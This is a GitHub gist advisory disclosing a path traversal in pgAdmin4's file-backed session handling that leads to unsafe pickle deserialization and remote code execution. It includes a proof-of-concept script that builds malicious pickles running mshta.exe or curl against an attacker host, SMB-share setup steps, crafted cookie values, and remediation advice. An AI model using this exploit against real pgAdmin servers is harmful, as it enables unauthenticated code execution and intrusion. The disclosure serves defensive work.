Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save dorosch/1c751711f553187094e5019e60c1788d to your computer and use it in GitHub Desktop.
Save dorosch/1c751711f553187094e5019e60c1788d to your computer and use it in GitHub Desktop.

Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)

Severity (CVSSv4)

9.2 CRITICAL - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

Description

pgAdmin4 uses a file-based session management approach. The session files are saved on disk as pickle objects. When a user performs a request, the value of the session cookie pga4_session is used to retrieve the file, then it's content is deserialized, and finally its signature verified.

The ManagedSessionInterface class implements flask's SessionInterface to read the user's cookie and translate it into their session:

def open_session(self, app, request):
    cookie_val = request.cookies.get(app.config['SESSION_COOKIE_NAME'])

    if not cookie_val or '!' not in cookie_val:
        return self.manager.new_session()

    sid, digest = cookie_val.split('!', 1)

    if self.manager.exists(sid):
        return self.manager.get(sid, digest)

    return self.manager.new_session()

The cookie value is split in 2 parts at the first ! character. The first part is the session ID (sid), while the second is the session digest.

The vulnerability lies in the FileBackedSessionManager.get method that loads session files by concatenating the sessions folder - located inside the pgAdmin4 DATA_DIR - with the session ID. Precisely, the two values are concatenated using the os.path.join function.
This function has two weaknesses:

  • It does not set a trusted base-path which should not be escaped, therefore os.path.join("/opt/safe/", "../../etc/passwd") returns /etc/passwd.
  • It uses the right-most absolute path in its arguments as the root path, therefore os.path.join("./safe/", "do_not_escape_from_here", "/etc/passwd") returns /etc/passwd.

The following snippet shows the vulnerable code, with added comments:

def get(self, sid, digest): # sid and digest are read from the cookie, therefore user-controllable
    'Retrieve a managed session by session-id, checking the HMAC digest'

    fname = os.path.join(self.path, sid) # <-- by controlling the sid we can force os.path.join into returning an arbitrary absolute path
    data = None
    hmac_digest = None
    randval = None

    if os.path.exists(fname):
        try:
            with open(fname, 'rb') as f: # <-- open will read a file from the absolute path
                randval, hmac_digest, data = load(f) # <-- load is pickle.load, the deserialization entry-point
        except Exception:
            pass
    # ...SNIP...

Impact

An attacker could force the server into deserializing a pickle object at an arbitrary path. This type of deserialization can be used to run arbitrary code.

Attack Complexity

The requirements to exploit the vulnerability vary based on the operating system of the host where pgAdmin4 is installed:

  • Windows: the attacker could specify in the cookie a UNC path (i.e. //attacker.com/share/file.pickle) and expose an unauthenticated SMB share to serve the malicious pickle object, turning the vulnerability into a pre-authentication one.
  • Linux/POSIX: the attacker must be able to upload the malicious pickle object on the host, this could be done using the pgAdmin4 Storage Manager component, which requires the attacker to have a valid account on the target pgAdmin4 instance.

Proof of Concept

Setup

  1. Expose a SMB server on a public-facing host:
    1. Install impacket with: python3 -m pipx install impacket
    2. Download the smbserver.py example
    3. Expose the /tmp folder as share: python3 smbserver.py -smb2support share /tmp
  2. Expose an HTTP server on a public-facing host.
  3. Save the following snippet of code and run it with python3 pickler.py '<attacker_host>' replacing <attacker_host> with the IP/domain of the HTTP server setup at step 2 to create two serializaed object, one for Windows (nt.pickle) and one for Linux/POSIX (posix.pickle) which will perform an HTTP request to the <attacker_host> when deserialized.
import struct
import sys

def produce_pickle_bytes(platform, cmd):
    b = b'\x80\x04\x95'
    b += struct.pack('L', 22 + len(platform) + len(cmd))
    b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
    b += b'\x94\x8c\x06system\x94\x93\x94'
    b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
    b += b'\x94\x85\x94R\x94.'
    print(b)
    return b

if __name__ == '__main__':
    if len(sys.argv) != 2:
        exit(f"usage: {sys.argv[0]} ip:port")
    with open('nt.pickle', 'wb') as f:
        f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))
    with open('posix.pickle', 'wb') as f:
        f.write(produce_pickle_bytes('posix', f"curl http://{HOST}/"))

Windows

  1. Expose the nt.pickle file using the SMB share
  2. Deploy a pgAdmin4 server on Windows
  3. Visit the pgAdmin4 login page
  4. Open the browser's developer tools and change the pga4_session cookie value to //<attacker_host>/share/nt.pickle!a replacing <attacker_host> with the SMB server's IP/domain
  5. Notice that the nt.pickle file is retrieved from the SMB share
  6. Notice that an HTTP request is performed to the HTTP server, confirming the code execution

Linux/POSIX

  1. Deploy a pgAdmin4 server on Linux
  2. Login with a valid user account
  3. Visit the Storage Manager component
  4. Upload the posix.pickle file
  5. Open the browser's developer tools and change the pga4_session cookie value to ../storage/<email>/posix.pickle!a replacing <email> with the currently logged in user's email after replacing @ with _
  6. Notice that an HTTP request is performed to the HTTP server, confirming the code execution

Suggested Remediation

Replace the os.path.join function with werkzeug.security.safe_join by setting the first argument to self.path which represents the path where the sessions are stored to prevent attackers from escaping the base directory.

References

Credits

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment